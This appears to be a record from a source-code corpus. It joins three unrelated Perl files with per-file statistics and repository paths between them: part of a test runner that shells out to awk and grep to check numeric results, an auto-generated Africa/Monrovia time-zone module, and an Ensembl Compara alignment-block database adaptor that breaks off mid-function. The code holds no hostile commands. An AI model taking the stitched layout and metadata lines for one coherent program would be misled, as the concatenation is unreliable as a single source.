function LINE(filename, line, field) check_num_args(3, 3, $#par, $func); if ($par[1] < 0) { # negative number means from end of file $line_num = "`wc -l $par[0] | awk '{print \$1}'`"; $shell_command = "awk -v n=$line_num '(NR==n+$par[1]+1) {printf \$$par[2]}' $par[0]"; } else { $shell_command = "awk '(NR==$par[1]) {printf \$$par[2]}' $par[0]"; } } elsif ($func eq "LINEFIELD_ABS") { # function LINE(filename, line, field_re, field_im) check_num_args(4, 4, $#par, $func); if ($par[1] < 0) { # negative number means from end of file $line_num = "`wc -l $par[0] | awk '{print \$1}'`"; $shell_command = "awk -v n=$line_num '(NR==n+$par[1]+1) {printf sqrt(\$$par[2]*\$$par[2] + \$$par[3]*\$$par[3])}' $par[0]"; } else { $shell_command = "awk '(NR==$par[1]) {printf sqrt(\$$par[2]*\$$par[2] + \$$par[3]*\$$par[3]) }' $par[0]"; } } elsif ($func eq "GREP") { # function GREP(filename, 're', column <, [offset>]) check_num_args(3, 4, $#par, $func); if ($#par == 3) { $off = $par[3]; } else { $off = 0; } # -a means even if the file is considered binary due to a stray funny character, it will work $shell_command = "grep -a -A$off $par[1] $par[0] | awk '(NR==$off+1)'"; $shell_command .= " | cut -b $par[2]-"; } elsif ($func eq "GREPFIELD") { # function GREPFIELD(filename, 're', field <, [offset>]) check_num_args(3, 4, $#par, $func); if ($#par == 3) { $off = $par[3]; } else { $off = 0; } # -a means even if the file is considered binary due to a stray funny character, it will work $shell_command = "grep -a -A$off $par[1] $par[0]"; $shell_command .= " | awk '(NR==$off+1) {printf \$$par[2]}'"; # if there are multiple occurrences found by grep, we will only be taking the first one via awk } elsif ($func eq "GREPCOUNT") { # function GREPCOUNT(filename, 're') check_num_args(2, 2, $#par, $func); # unfortunately grep returns an error code if it finds zero matches, so we make sure the command always returns true $shell_command = "grep -c $par[1] $par[0] || :"; } elsif ($func eq "SIZE") { # function SIZE(filename) check_num_args(1, 1, $#par, $func); $shell_command = "ls -lt $par[0] | awk '{printf \$5}'"; } else { # error printf STDERR "ERROR: Unknown command '$func'\n"; return 0; } # 'set -e; set -o pipefail' (bash 3 only) would make the whole pipe series give an error if any step does; # otherwise the error comes only if the last step failed. $value = qx(cd $matchdir && $shell_command); # Perl gives error code shifted, for some reason. my $exit_code = $? >> 8; if ($exit_code) { print STDERR "ERROR: Match command failed: $shell_command\n"; return 0; } # extract numeric string (including possibility of NaN) if ($value =~ /([0-9\-+.eEdDnNaA]+)/) { $value = $1; chomp $value; } else { $value = ""; } $r_match_report->{"value"} = $value; $r_match_report->{"name"} = $name; $r_match_report->{"reference"} = $ref_value; $r_match_report->{"precision"} = $precnum; if (length($value) == 0) { print STDERR "ERROR: Match command returned nothing: $shell_command\n"; return 0; } if (!looks_like_number($value)) { print STDERR "ERROR: Match command returned non-numeric value '$value': $shell_command\n"; return 0; } if (!looks_like_number($ref_value)) { print STDERR "WARNING: Match command has non-numeric reference value '$value'.\n"; return 0; } # at this point, we know that the command was successful, and returned a number. my $success = (abs(($value)-($ref_value)) <= $precnum); if (!$success || $opt_v) { print_hline(); print "Match".$name.":\n\n"; print " Calculated value : ".$value."\n"; print " Reference value : ".$ref_value."\n"; print " Difference : ".abs($ref_value - $value)."\n"; if(abs($ref_value)>1e-10) { print " Deviation [%] : ".(abs($ref_value - $value)/abs($ref_value)*100.0)."\n"; } print " Tolerance : ".$precnum."\n"; if (abs($ref_value)>1e-10) { print " Tolerance [%] : ".($precnum/abs($ref_value)*100.0)."\n"; } print "\n"; } return $success; } sub print_hline { print "\n-----------------------------------------\n\n"; } # return value of environment variable (specified by string argument), or "" if not set sub get_env { if (exists($ENV{$_[0]})) { return $ENV{$_[0]}; } else { return ""; } } # args: min num args, max num args, args given, function name sub check_num_args { my $min_num_args = $_[0]; my $max_num_args = $_[1]; my $given_num_args = $_[2]+1; my $func_name = $_[3]; if ($given_num_args < $min_num_args) { die255("$func_name given $given_num_args argument(s) but needs at least $min_num_args."); } if ($given_num_args > $max_num_args) { die255("$func_name given $given_num_args argument(s) but can take no more than $max_num_args."); } } sub die255 { print STDERR "ERROR: " . $_[0] . "\n"; print "Status: error\n"; exit 255; } sub skip_exit { if (!$opt_p && !$opt_m && $test_succeeded) { system ("rm -rf $workdir"); } if ($failures == 0) { print "Status: skipped\n"; exit 254 } else { print "Status: ".$failures." failures\n"; exit $failures; # if a previous step has failed, mark as failed not skipped } } sub check_error_resolved { if (!$opt_n && !$error_match_done) { print "No error check performed!\n"; # $input_report{"execution"} = "fail"; $failures++; } }
33.239326
177
0.508197
ed660b98462169132870cbe7a527e80f3a4275b8
1,723
pm
Perl
perl/vendor/lib/DateTime/TimeZone/Africa/Monrovia.pm
Light2027/OnlineCampusSandbox
8dcaaf62af1342470f9e7be6d42bd0f16eb910b8
[ "Apache-2.0" ]
null
null
null
perl/vendor/lib/DateTime/TimeZone/Africa/Monrovia.pm
Light2027/OnlineCampusSandbox
8dcaaf62af1342470f9e7be6d42bd0f16eb910b8
[ "Apache-2.0" ]
3
2021-01-27T10:09:28.000Z
2021-05-11T21:20:12.000Z
perl/vendor/lib/DateTime/TimeZone/Africa/Monrovia.pm
Light2027/OnlineCampusSandbox
8dcaaf62af1342470f9e7be6d42bd0f16eb910b8
[ "Apache-2.0" ]
null
null
null
# This file is auto-generated by the Perl DateTime Suite time zone # code generator (0.08) This code generator comes with the # DateTime::TimeZone module distribution in the tools/ directory # # Generated from /tmp/PG8ljYXUN8/africa. Olson data version 2019c # # Do not edit this file directly. # package DateTime::TimeZone::Africa::Monrovia; use strict; use warnings; use namespace::autoclean; our $VERSION = '2.38'; use Class::Singleton 1.03; use DateTime::TimeZone; use DateTime::TimeZone::OlsonDB; @DateTime::TimeZone::Africa::Monrovia::ISA = ( 'Class::Singleton', 'DateTime::TimeZone' ); my $spans = [ [ DateTime::TimeZone::NEG_INFINITY, # utc_start 59358703388, # utc_end 1882-01-01 00:43:08 (Sun) DateTime::TimeZone::NEG_INFINITY, # local_start 59358700800, # local_end 1882-01-01 00:00:00 (Sun) -2588, 0, 'LMT', ], [ 59358703388, # utc_start 1882-01-01 00:43:08 (Sun) 60531324188, # utc_end 1919-03-01 00:43:08 (Sat) 59358700800, # local_start 1882-01-01 00:00:00 (Sun) 60531321600, # local_end 1919-03-01 00:00:00 (Sat) -2588, 0, 'MMT', ], [ 60531324188, # utc_start 1919-03-01 00:43:08 (Sat) 62199276270, # utc_end 1972-01-07 00:44:30 (Fri) 60531321518, # local_start 1919-02-28 23:58:38 (Fri) 62199273600, # local_end 1972-01-07 00:00:00 (Fri) -2670, 0, 'MMT', ], [ 62199276270, # utc_start 1972-01-07 00:44:30 (Fri) DateTime::TimeZone::INFINITY, # utc_end 62199276270, # local_start 1972-01-07 00:44:30 (Fri) DateTime::TimeZone::INFINITY, # local_end 0, 0, 'GMT', ], ]; sub olson_version {'2019c'} sub has_dst_changes {0} sub _max_year {2029} sub _new_instance { return shift->_init( @_, spans => $spans ); } 1;
22.089744
90
0.677887
ed571d03c1927a006d760677c5a21245e84e341c
74,032
pm
Perl
modules/Bio/EnsEMBL/Compara/DBSQL/GenomicAlignBlockAdaptor.pm
duartemolha/ensembl-compara
f53a82761e4f779263ecc2a6ffce5337a992bcf2
[ "Apache-2.0" ]
null
null
null
modules/Bio/EnsEMBL/Compara/DBSQL/GenomicAlignBlockAdaptor.pm
duartemolha/ensembl-compara
f53a82761e4f779263ecc2a6ffce5337a992bcf2
[ "Apache-2.0" ]
null
null
null
modules/Bio/EnsEMBL/Compara/DBSQL/GenomicAlignBlockAdaptor.pm
duartemolha/ensembl-compara
f53a82761e4f779263ecc2a6ffce5337a992bcf2
[ "Apache-2.0" ]
null
null
null
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Copyright [2016-2019] EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =head1 NAME Bio::EnsEMBL::Compara::DBSQL::GenomicAlignBlockAdaptor =head1 SYNOPSIS =head2 Connecting to the database using the Registry use Bio::EnsEMBL::Registry; my $reg = "Bio::EnsEMBL::Registry"; $reg->load_registry_from_db(-host=>"ensembldb.ensembl.org", -user=>"anonymous"); my $genomic_align_block_adaptor = $reg->get_adaptor( "Multi", "compara", "GenomicAlignBlock"); =head2 Store/Delete data from the database $genomic_align_block_adaptor->store($genomic_align_block); $genomic_align_block_adaptor->delete_by_dbID($genomic_align_block->dbID); =head2 Retrieve data from the database $genomic_align_block = $genomic_align_block_adaptor->fetch_by_dbID(12); $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet( $method_link_species_set); $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_Slice( $method_link_species_set, $human_slice); $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_DnaFrag( $method_link_species_set, $human_dnafrag); $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_DnaFrag_DnaFrag( $method_link_species_set, $human_dnafrag, undef, undef, $mouse_dnafrag, undef, undef); $genomic_align_block_ids = $genomic_align_block_adaptor->fetch_all_dbIDs_by_MethodLinkSpeciesSet_Dnafrag( $method_link_species_set, $human_dnafrag); =head2 Other methods $genomic_align_block = $genomic_align_block_adaptor-> retrieve_all_direct_attributes($genomic_align_block); $genomic_align_block_adaptor->lazy_loading(1); =head1 DESCRIPTION This module is intended to access data in the genomic_align_block table. Each alignment is represented by Bio::EnsEMBL::Compara::GenomicAlignBlock. Each GenomicAlignBlock contains several Bio::EnsEMBL::Compara::GenomicAlign, one per sequence included in the alignment. The GenomicAlign contains information about the coordinates of the sequence and the sequence of gaps, information needed to rebuild the aligned sequence. By combining all the aligned sequences of the GenomicAlignBlock, it is possible to get the orignal alignment back. =head1 INHERITANCE This class inherits all the methods and attributes from Bio::EnsEMBL::DBSQL::BaseAdaptor =head1 SEE ALSO - Bio::EnsEMBL::Registry - Bio::EnsEMBL::DBSQL::BaseAdaptor - Bio::EnsEMBL::BaseAdaptor - Bio::EnsEMBL::Compara::GenomicAlignBlock - Bio::EnsEMBL::Compara::GenomicAlign - Bio::EnsEMBL::Compara::GenomicAlignGroup, - Bio::EnsEMBL::Compara::MethodLinkSpeciesSet - Bio::EnsEMBL::Compara::DBSQL::MethodLinkSpeciesSetAdaptor - Bio::EnsEMBL::Slice - Bio::EnsEMBL::SliceAdaptor - Bio::EnsEMBL::Compara::DnaFrag - Bio::EnsEMBL::Compara::DBSQL::DnaFragAdaptor =head1 APPENDIX The rest of the documentation details each of the object methods. Internal methods are usually preceded with a _ =cut # Let the code begin... package Bio::EnsEMBL::Compara::DBSQL::GenomicAlignBlockAdaptor; use vars qw(@ISA); use strict; use warnings; use Bio::AlignIO; use Bio::EnsEMBL::DBSQL::BaseAdaptor; use Bio::EnsEMBL::Compara::GenomicAlignBlock; use Bio::EnsEMBL::Compara::GenomicAlign; use Bio::EnsEMBL::Compara::DnaFrag; use Bio::EnsEMBL::Feature; use Bio::EnsEMBL::Utils::Exception; use Bio::EnsEMBL::Utils::Scalar qw(assert_ref); use Bio::EnsEMBL::Compara::Utils::Cigars; use Bio::EnsEMBL::Compara::HAL::UCSCMapping; use Bio::EnsEMBL::Compara::Utils::Projection; use List::Util qw( max ); @ISA = qw(Bio::EnsEMBL::DBSQL::BaseAdaptor); =head2 new Arg [1] : list of args to super class constructor Example : $ga_a = new Bio::EnsEMBL::Compara::GenomicAlignBlockAdaptor($dbobj); Description: Creates a new GenomicAlignBlockAdaptor. The superclass constructor is extended to initialise an internal cache. This class should be instantiated through the get method on the DBAdaptor rather than calling this method directly. Returntype : none Exceptions : none Caller : Bio::EnsEMBL::DBSQL::DBConnection Status : Stable =cut sub new { my $class = shift; my $self = $class->SUPER::new(@_); $self->{_lazy_loading} = 0; return $self; } =head2 store Arg 1 : Bio::EnsEMBL::Compara::GenomicAlignBlock The things you want to store Example : $gen_ali_blk_adaptor->store($genomic_align_block); Description: It stores the given GenomicAlginBlock in the database as well as the GenomicAlign objects it contains Returntype : Bio::EnsEMBL::Compara::GenomicAlignBlock object Exceptions : - no Bio::EnsEMBL::Compara::MethodLinkSpeciesSet is linked - no Bio::EnsEMBL::Compara::GenomicAlign object is linked - no Bio::EnsEMBL::Compara::DnaFrag object is linked - unknown method link - cannot lock tables - cannot store GenomicAlignBlock object - cannot store corresponding GenomicAlign objects Caller : general Status : Stable =cut sub store { my ($self, $genomic_align_block) = @_; my $genomic_align_block_sql = qq{INSERT INTO genomic_align_block ( genomic_align_block_id, method_link_species_set_id, score, perc_id, length, group_id, level_id ) VALUES (?,?,?,?,?,?,?)}; my @values; ## CHECKING assert_ref($genomic_align_block, 'Bio::EnsEMBL::Compara::GenomicAlignBlock', 'genomic_align_block'); if (!defined($genomic_align_block->method_link_species_set)) { throw("There is no Bio::EnsEMBL::Compara::MethodLinkSpeciesSet object attached to this". " Bio::EnsEMBL::Compara::GenomicAlignBlock object [$self]"); } if (!defined($genomic_align_block->method_link_species_set->dbID)) { throw("Attached Bio::EnsEMBL::Compara::MethodLinkSpeciesSet object has no dbID"); } if (!$genomic_align_block->genomic_align_array or !@{$genomic_align_block->genomic_align_array}) { throw("This block does not contain any GenomicAlign. Nothing to store!"); } foreach my $genomic_align (@{$genomic_align_block->genomic_align_array}) { # check if every GenomicAlgin has a dbID if (!defined($genomic_align->dnafrag_id)) { throw("dna_fragment in GenomicAlignBlock is not in DB"); } } ## Stores data, all of them with the same id my $sth = $self->prepare($genomic_align_block_sql); #print $align_block_id, "\n"; $sth->execute( ($genomic_align_block->dbID or undef), $genomic_align_block->method_link_species_set->dbID, $genomic_align_block->score, $genomic_align_block->perc_id, $genomic_align_block->length, $genomic_align_block->group_id, ($genomic_align_block->level_id or 1) ); if (!$genomic_align_block->dbID) { $genomic_align_block->dbID( $self->dbc->db_handle->last_insert_id(undef, undef, 'genomic_align_block', 'genomic_align_block_id') ); } info("Stored Bio::EnsEMBL::Compara::GenomicAlignBlock ". ($genomic_align_block->dbID or "NULL"). ", mlss=".$genomic_align_block->method_link_species_set->dbID. ", scr=".($genomic_align_block->score or "NA"). ", id=".($genomic_align_block->perc_id or "NA")."\%". ", l=".($genomic_align_block->length or "NA"). ", lvl=".($genomic_align_block->level_id or 1). ""); ## Stores genomic_align entries my $genomic_align_adaptor = $self->db->get_GenomicAlignAdaptor; $genomic_align_adaptor->store($genomic_align_block->genomic_align_array); return $genomic_align_block; } =head2 delete_by_dbID Arg 1 : integer $genomic_align_block_id Example : $gen_ali_blk_adaptor->delete_by_dbID(352158763); Description: It removes the given GenomicAlginBlock in the database as well as the GenomicAlign objects it contains Returntype : none Exceptions : Caller : general Status : Stable =cut sub delete_by_dbID { my ($self, $genomic_align_block_id) = @_; my $genomic_align_block_sql = qq{DELETE FROM genomic_align_block WHERE genomic_align_block_id = ?}; ## Deletes genomic_align_block entry my $sth = $self->prepare($genomic_align_block_sql); $sth->execute($genomic_align_block_id); $sth->finish(); # The following is not yet possible because this adaptor does not # implement _tables() #$self->SUPER::delete_by_dbID($genomic_align_block_id); ## Deletes corresponding genomic_align entries my $genomic_align_adaptor = $self->db->get_GenomicAlignAdaptor; $genomic_align_adaptor->delete_by_genomic_align_block_id($genomic_align_block_id); } =head2 fetch_by_dbID Arg 1 : integer $genomic_align_block_id Example : my $genomic_align_block = $genomic_align_block_adaptor->fetch_by_dbID(1) Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock object Returntype : Bio::EnsEMBL::Compara::GenomicAlignBlock object Exceptions : Returns undef if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : none Status : Stable =cut sub fetch_by_dbID { my ($self, $dbID) = @_; my $genomic_align_block; # returned object my $sql = qq{ SELECT method_link_species_set_id, score, perc_id, length, group_id FROM genomic_align_block WHERE genomic_align_block_id = ? }; my $sth = $self->prepare($sql); $sth->execute($dbID); my $array_ref = $sth->fetchrow_arrayref(); $sth->finish(); if ($array_ref) { my ($method_link_species_set_id, $score, $perc_id, $length, $group_id) = @$array_ref; ## Create the object # Lazy loading of genomic_align objects. They are fetched only when needed. $genomic_align_block = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -adaptor => $self, -dbID => $dbID, -method_link_species_set_id => $method_link_species_set_id, -score => $score, -perc_id => $perc_id, -length => $length, -group_id => $group_id ); if (!$self->lazy_loading) { $genomic_align_block = $self->retrieve_all_direct_attributes($genomic_align_block); } } return $genomic_align_block; } =head2 fetch_all_dbIDs_by_MethodLinkSpeciesSet_Dnafrag Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : Bio::EnsEMBL::Compara::DnaFrag $dnafrag Example : my $genomic_align_blocks_IDs = $genomic_align_block_adaptor->fetch_all_dbIDs_by_MethodLinkSpeciesSet_Dnafrag( $method_link_species_set, $dnafrag); Description: Retrieve the corresponding dbIDs as a listref of strings. Returntype : ref. to an array of genomic_align_block IDs (strings) Exceptions : Returns ref. to an empty array if no matching IDs can be found Caller : $object->method_name Status : Stable =cut sub fetch_all_dbIDs_by_MethodLinkSpeciesSet_Dnafrag { my ($self, $method_link_species_set, $dnafrag) = @_; my $genomic_align_block_ids = []; # returned object assert_ref($method_link_species_set, 'Bio::EnsEMBL::Compara::MethodLinkSpeciesSet', 'method_link_species_set'); my $method_link_species_set_id = $method_link_species_set->dbID; throw("[$method_link_species_set_id] has no dbID") if (!$method_link_species_set_id); ## Check the dnafrag obj assert_ref($dnafrag, 'Bio::EnsEMBL::Compara::DnaFrag', 'dnafrag'); my $dnafrag_id = $dnafrag->dbID; my $sql = qq{ SELECT ga.genomic_align_block_id FROM genomic_align ga WHERE ga.method_link_species_set_id = $method_link_species_set_id AND ga.dnafrag_id = $dnafrag_id }; my $sth = $self->prepare($sql); $sth->execute(); my $genomic_align_block_id; $sth->bind_columns(\$genomic_align_block_id); while ($sth->fetch) { push(@$genomic_align_block_ids, $genomic_align_block_id); } $sth->finish(); return $genomic_align_block_ids; } =head2 fetch_all_by_MethodLinkSpeciesSet Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : integer $limit_number [optional] Arg 3 : integer $limit_index_start [optional] Example : my $genomic_align_blocks = $genomic_align_block_adaptor-> fetch_all_by_MethodLinkSpeciesSet($mlss); Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Objects Returntype : ref. to an array of Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Corresponding Bio::EnsEMBL::Compara::GenomicAlign are only retrieved when required. Exceptions : Returns ref. to an empty array if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : none Status : Stable =cut sub fetch_all_by_MethodLinkSpeciesSet { my ($self, $method_link_species_set, $limit_number, $limit_index_start) = @_; my $genomic_align_blocks = []; # returned object assert_ref($method_link_species_set, 'Bio::EnsEMBL::Compara::MethodLinkSpeciesSet', 'method_link_species_set'); my $method_link_species_set_id = $method_link_species_set->dbID; throw("[$method_link_species_set_id] has no dbID") if (!$method_link_species_set_id); if ( $method_link_species_set->method->type =~ /CACTUS_HAL/ ) { throw( "fetch_all_by_MethodLinkSpeciesSet is not supported for this method type (CACTUS_HAL)\n" ); # my @genome_dbs = @{ $method_link_species_set->species_set->genome_dbs }; # my $ref_gdb = pop( @genome_dbs ); # my $dnafrag_adaptor = $method_link_species_set->adaptor->db->get_DnaFragAdaptor; # my @ref_dnafrags = @{ $dnafrag_adaptor->fetch_all_by_GenomeDB( $ref_gdb ) }; # my @all_gabs; # foreach my $dnafrag ( @ref_dnafrags ){ # push( @all_gabs, $self->fetch_all_by_MethodLinkSpeciesSet_DnaFrag( $method_link_species_set, $dnafrag, undef, undef, $limit_number ) ); # # stop if $limit_number is reached! # if ( defined $limit_number && scalar @all_gabs >= $limit_number ) { # my $len = scalar @all_gabs; # my $offset = $limit_number - $len; # splice @all_gabs, $offset; # last; # } # } # return \@all_gabs; } my $sql = qq{ SELECT gab.genomic_align_block_id, gab.score, gab.perc_id, gab.length, gab.group_id FROM genomic_align_block gab WHERE gab.method_link_species_set_id = $method_link_species_set_id }; if ($limit_number && $limit_index_start) { $sql .= qq{ LIMIT $limit_index_start , $limit_number }; } elsif ($limit_number) { $sql .= qq{ LIMIT $limit_number }; } my $sth = $self->prepare($sql); $sth->execute(); my ($genomic_align_block_id, $score, $perc_id, $length, $group_id); $sth->bind_columns(\$genomic_align_block_id, \$score, \$perc_id, \$length, \$group_id); while ($sth->fetch) { my $this_genomic_align_block = new Bio::EnsEMBL::Compara::GenomicAlignBlock( -adaptor => $self, -dbID => $genomic_align_block_id, -method_link_species_set_id => $method_link_species_set_id, -score => $score, -perc_id => $perc_id, -length => $length, -group_id => $group_id ); push(@$genomic_align_blocks, $this_genomic_align_block); } $sth->finish(); return $genomic_align_blocks; } =head2 fetch_all_by_MethodLinkSpeciesSet_Slice Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : Bio::EnsEMBL::Slice $original_slice Arg 3 : integer $limit_number [optional] Arg 4 : integer $limit_index_start [optional] Arg 5 : boolean $restrict_resulting_blocks [optional] Example : my $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_Slice( $method_link_species_set, $original_slice); Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock objects. The alignments may be reverse-complemented in order to match the strand of the original slice. If the original_slice covers non-primary regions such as PAR or PATCHES, GenomicAlignBlock objects are restricted to the relevant slice. Returntype : ref. to an array of Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Only dbID, adaptor and method_link_species_set are actually stored in the objects. The remaining attributes are only retrieved when required. Exceptions : Returns ref. to an empty array if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : $object->method_name Status : Stable =cut sub fetch_all_by_MethodLinkSpeciesSet_Slice { my ($self, $method_link_species_set, $reference_slice, $limit_number, $limit_index_start, $restrict) = @_; my $all_genomic_align_blocks = []; # Returned value ## method_link_species_set will be checked in the fetch_all_by_MethodLinkSpeciesSet_DnaFrag method ## Check original_slice assert_ref($reference_slice, 'Bio::EnsEMBL::Slice', 'reference_slice'); $limit_number = 0 if (!defined($limit_number)); $limit_index_start = 0 if (!defined($limit_index_start)); # ## HANDLE HAL ## # if ( $method_link_species_set->method->type eq 'CACTUS_HAL' ) { # #create dnafrag from slice and use fetch_by_MLSS_DnaFrag # my $genome_db_adaptor = $method_link_species_set->adaptor->db->get_GenomeDBAdaptor; # my $ref = $genome_db_adaptor->fetch_by_Slice( $reference_slice ); # throw( "Cannot find genome_db for slice\n" ) unless ( defined $ref ); # my $slice_dnafrag = Bio::EnsEMBL::Compara::DnaFrag->new_from_Slice( $reference_slice, $ref ); # return $self->fetch_all_by_MethodLinkSpeciesSet_DnaFrag( $method_link_species_set, $slice_dnafrag, $reference_slice->start, $reference_slice->end, $limit_number ); # } if ($reference_slice->isa("Bio::EnsEMBL::Compara::AlignSlice::Slice")) { return $reference_slice->get_all_GenomicAlignBlocks( $method_link_species_set->method->type, $method_link_species_set->species_set); } ## Get the Bio::EnsEMBL::Compara::GenomeDB object corresponding to the ## $reference_slice my $slice_adaptor = $reference_slice->adaptor(); if(!$slice_adaptor) { warning("Slice has no attached adaptor. Cannot get Compara alignments."); return $all_genomic_align_blocks; } my $genome_db_adaptor = $self->db->get_GenomeDBAdaptor; my $genome_db = $genome_db_adaptor->fetch_by_Slice($reference_slice); my $projection_segments = Bio::EnsEMBL::Compara::Utils::Projection::project_Slice_to_reference_toplevel($reference_slice); return [] if(!@$projection_segments); my %seen_gab_ids; foreach my $this_projection_segment (@$projection_segments) { my $offset = $this_projection_segment->from_start(); my $this_slice = $this_projection_segment->to_Slice; my $dnafrag_type = $this_slice->coord_system->name; my $dnafrag_adaptor = $method_link_species_set->adaptor->db->get_DnaFragAdaptor; my $this_dnafrag = $dnafrag_adaptor->fetch_by_Slice( $this_slice ); next if (!$this_dnafrag); my $these_genomic_align_blocks = $self->fetch_all_by_MethodLinkSpeciesSet_DnaFrag( $method_link_species_set, $this_dnafrag, $this_slice->start, $this_slice->end, $limit_number, $limit_index_start, $restrict ); # Exclude blocks that have already been fetched via a previous projection-segment $these_genomic_align_blocks = [grep {!$seen_gab_ids{$_->dbID}} @$these_genomic_align_blocks]; #If the GenomicAlignBlock has been restricted, set up the correct values #for restricted_aln_start and restricted_aln_end foreach my $this_genomic_align_block (@$these_genomic_align_blocks) { if (defined $this_genomic_align_block->{'restricted_aln_start'}) { my $tmp_start = $this_genomic_align_block->{'restricted_aln_start'}; #if ($reference_slice->strand != $this_genomic_align_block->reference_genomic_align->dnafrag_strand) { #the start and end are always calculated for the forward strand if ($reference_slice->strand == 1) { $this_genomic_align_block->{'restricted_aln_start'}++; $this_genomic_align_block->{'restricted_aln_end'} = $this_genomic_align_block->{'original_length'} - $this_genomic_align_block->{'restricted_aln_end'}; } else { $this_genomic_align_block->{'restricted_aln_start'} = $this_genomic_align_block->{'restricted_aln_end'} + 1; $this_genomic_align_block->{'restricted_aln_end'} = $this_genomic_align_block->{'original_length'} - $tmp_start; } } } my $top_slice = $slice_adaptor->fetch_by_region($dnafrag_type, $this_slice->seq_region_name); # need to convert features to requested coord system # if it was different then the one we used for fetching if($top_slice->name ne $reference_slice->name) { foreach my $this_genomic_align_block (@$these_genomic_align_blocks) { my $feature = new Bio::EnsEMBL::Feature( -slice => $top_slice, -start => $this_genomic_align_block->reference_genomic_align->dnafrag_start, -end => $this_genomic_align_block->reference_genomic_align->dnafrag_end, -strand => $this_genomic_align_block->reference_genomic_align->dnafrag_strand ); $feature = $feature->transfer($this_slice); next if (!$feature); $this_genomic_align_block->reference_slice($reference_slice); $this_genomic_align_block->reference_slice_start($feature->start + $offset - 1); $this_genomic_align_block->reference_slice_end($feature->end + $offset - 1); $this_genomic_align_block->reference_slice_strand($reference_slice->strand); $this_genomic_align_block->reverse_complement() if ($reference_slice->strand != $this_genomic_align_block->reference_genomic_align->dnafrag_strand); push (@$all_genomic_align_blocks, $this_genomic_align_block); $seen_gab_ids{$this_genomic_align_block->dbID} = 1; } } else { foreach my $this_genomic_align_block (@$these_genomic_align_blocks) { $this_genomic_align_block->reference_slice($top_slice); $this_genomic_align_block->reference_slice_start( $this_genomic_align_block->reference_genomic_align->dnafrag_start); $this_genomic_align_block->reference_slice_end( $this_genomic_align_block->reference_genomic_align->dnafrag_end); $this_genomic_align_block->reference_slice_strand($reference_slice->strand); $this_genomic_align_block->reverse_complement() if ($reference_slice->strand != $this_genomic_align_block->reference_genomic_align->dnafrag_strand); push (@$all_genomic_align_blocks, $this_genomic_align_block); $seen_gab_ids{$this_genomic_align_block->dbID} = 1; } } } #foreach my $gab (@$all_genomic_align_blocks) { # my $ref_ga = $gab->reference_genomic_align; # print "ref_ga " . $ref_ga->dnafrag->name . " " . $ref_ga->dnafrag_start . " " . $ref_ga->dnafrag_end . "\n"; #} return $all_genomic_align_blocks; } =head2 fetch_all_by_MethodLinkSpeciesSet_DnaFrag Arg 1 : Bio::EnsEMBL::Compara::MethodLinkSpeciesSet $method_link_species_set Arg 2 : Bio::EnsEMBL::Compara::DnaFrag $dnafrag Arg 3 : integer $start [optional, default = 1] Arg 4 : integer $end [optional, default = dnafrag_length] Arg 5 : integer $limit_number [optional, default = no limit] Arg 6 : integer $limit_index_start [optional, default = 0] Arg 7 : boolean $restrict_resulting_blocks [optional, default = no restriction] Arg 8 : boolean $view_visible [optional, default = all visible] Example : my $genomic_align_blocks = $genomic_align_block_adaptor->fetch_all_by_MethodLinkSpeciesSet_DnaFrag( $mlss, $dnafrag, 50000000, 50250000); Description: Retrieve the corresponding Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Returntype : ref. to an array of Bio::EnsEMBL::Compara::GenomicAlignBlock objects. Only dbID, adaptor and method_link_species_set are actually stored in the objects. The remaining attributes are only retrieved when requiered. Exceptions : Returns ref. to an empty array if no matching Bio::EnsEMBL::Compara::GenomicAlignBlock object can be retrieved Caller : none Status : Stable =cut sub fetch_all_by_MethodLinkSpeciesSet_DnaFrag { my ($self, $method_link_species_set, $dnafrag, $start, $end, $limit_number, $limit_index_start, $restrict, $view_visible) = @_; my $genomic_align_blocks = []; # returned object assert_ref($dnafrag, 'Bio::EnsEMBL::Compara::DnaFrag', 'dnafrag'); my $query_dnafrag_id = $dnafrag->dbID; throw("[$dnafrag] has no dbID") if (!$query_dnafrag_id); assert_ref($method_link_species_set, 'Bio::EnsEMBL::Compara::MethodLinkSpeciesSet', 'method_link_species_set'); throw("[$method_link_species_set] is not a Bio::EnsEMBL::Compara::MethodLinkSpeciesSet object") unless ($method_link_species_set and ref $method_link_species_set and $method_link_species_set->isa("Bio::EnsEMBL::Compara::MethodLinkSpeciesSet")); if ( $method_link_species_set->method->type =~ /CACTUS_HAL/ ) { #return $self->fetch_all_by_MethodLinkSpeciesSet_Slice( $method_link_species_set, $dnafrag->slice ); my $ref = $dnafrag->genome_db; my @targets = grep { $_->dbID != $ref->dbID } @{ $method_link_species_set->species_set->genome_dbs }; my $block_start = defined $start ? $start : 